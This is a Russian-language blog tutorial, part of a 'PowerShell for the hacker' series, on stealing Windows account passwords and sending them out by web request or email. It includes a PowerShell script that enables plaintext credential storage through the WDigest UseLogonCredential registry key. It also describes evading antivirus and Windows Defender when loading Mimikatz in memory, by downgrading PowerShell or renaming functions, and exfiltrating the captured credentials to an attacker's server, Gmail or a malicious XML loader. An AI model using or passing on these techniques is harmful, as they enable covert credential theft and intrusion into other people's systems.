PowerShell для хакера (чать VII ) [Хищение паролей Windows с отправкой на почту]

PowerShell для хакера (чать VII ) [Хищение паролей Windows с отправкой на почту]

Life-Hack

Доброго времени суток колеги. Сегодня мы с вами посмотрим как используя возможности PowerShell можно похитить логины и пароли учетных записей пользователей Windows систем и отправить их на почту или Web сервер.

Сегодня мы с вами с помощью PowerShell :

  • Научимся изменять(создавать) и проверять наличие ключей реестра в Windows
  • Обходить Антивирусы и WindowsDefender при подгрузке mimikatz в памяти(Invoke-Mimikatz)
  • Отсылать пароли на:Веб сервер
  • На почту
  • Немного вспомним материал из прошлых статей.

Я надеюсь большинство из вас наверняка слышали про замечательный продукт для тестирования безопасности Windows Систем ,который носит названия Mimikatz и по сегодняшний день благодарят его создателя Benjamin Delpy’s(blog.gentilkiwi.com) Это программа используя уязвимость в WDigest.dll может получить логины и пароли в чистем виде.

Но с появлением Windows 8.1 разработчики добавили некоторую защиту,пытаясь урезать функционал WDigest ,но потом в одном из своих обновлениях все-таки вернула функционал WDigest,так как он используется во многих продуктах(Например IIS ) И возможность получить пароли в открытом виде существует и по сегодняшний день даже в Windows 10.

Так вот первым нашим шагом будет включение возможности хранение в памяти LSA memory наших паролей в чистом виде(так как по умолчанию эта возможность выключена)

Делается это очень просто, нужно всего лишь создать ключ реестра с именем UseLogonCredential со значением 1 по следующему пути:

(HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential)

Давайте научимся делать изменение в реестре с помощью PowerShell:

New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\ -Name UseLogonCredential -Type DWORD -Value 1

Почему с помощью PowerShell? Все просто) Я буду размещать набор команд на PowerShell в отдельном файле(скрипте) где то на гитхабе , и одной командой буду просто подгружать этот скрипт)

Сперва в этот скрипте я сделаю маленькую проверку на наличие нужного мне ключа в реестре,и если его не будет - то он будет создаваться.

$Path="HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\"
$key = "UseLogonCredential"
Function Lsa_Hack
{
New-ItemProperty -Path $Path -Name $key -Type DWORD -Value 1
}

Function Test-RegistryValue($regkey, $name) {
    $exists = Get-ItemProperty -Path "$regkey" -Name "$name" -ErrorAction SilentlyContinue
    If (($exists -ne $null) -and ($exists.Length -ne 0)) {
        Return $true
    }
    Return $false
}

if ((Test-RegistryValue $Path $key) -eq $false ) {Lsa_Hack}

Как видите объявил две переменные, $Path путь в реестре, $key - имя ключа реестра

Две функции:

Lsa_Hack - которая создает ключ нужный для включение хранение паролей в чистом виде

Test-RegistryValue - ф-я которая проверяет наличие ключа

Затем идет простейшее условие (если ключа нету то выполни функции Lsa_Hack)

Выглядит примерно так:

И так, с первым этапом думаю более менее понятно. Переходим к следующему шагу:

Обход антивируса и WinDefender:

После появление в свет программы Mimikatz все антивирусные команды начали жестко работать с его сигнатурами, и хранить эту программу локально на компьютере очень проблемно. В результате чего автор PowerSploit создал версию Mimikatz ,который загружается в оперативной памяти(не нужно скачивать его локально) Invoke-Mimikatz . Но в последнее время в PowerShell был встроен функционал который фильтрует такие подгрузки и распознает такие попытке как вредоносные:

Но проблема решаема. Достаточно запустить эту же команду в PowerShell меньшей версией,например вот в powershell -v 2 отработало нормально:

Второй способ - это просто заменить имена функций в скрипте и убрать секции комментариев и примеров в скрипте, и также разместить где то по другому адресу:

В этом примере я заменил имя функции Invoke-Mimikatz на Invoke-Codeby - и никто не поругался,все отлично отработало)

Здесь надеюсь все понятно)

Идем дальше:

Отправка результатов команды на Веб Сервер:

Сперва давайте посмотрим как отправит POST запросы с помощью PowerShell

В этом нам поможет готовый функционал командлета Invoke-RestMethod

Как видите все просто... Теперь в переменную можно положить результат команды Invoke-Codeby:

Как видим нам прилетело POST запросом логин и пароль учетной записи Windows.

Если мы хотим что бы данные записывались где то в текстовый файлик на нашем веб сервере можно сделать так:

Создать какой то скрипт на PHP который будет дампить пост запросы в текстовый файл:

В данном примере просто пишутся все данные которые передаются пост параметром hack:

Тут я думаю все понятно) Давайте теперь отправим результат команды на почту gmail:

По итогу я положил Invoke-Codeby.ps1 в отдельный скрипт на гитхабе и собрал все команды в один скрипт:

Теперь немного вспомним мою прошлую статью и создадим вредоносную XML для незаметной подргрузки(Разместим где то на гитхабе к примеру):

И получаем тот же результат

Всем спасибо)) Продолжение следует..

Видео
Источник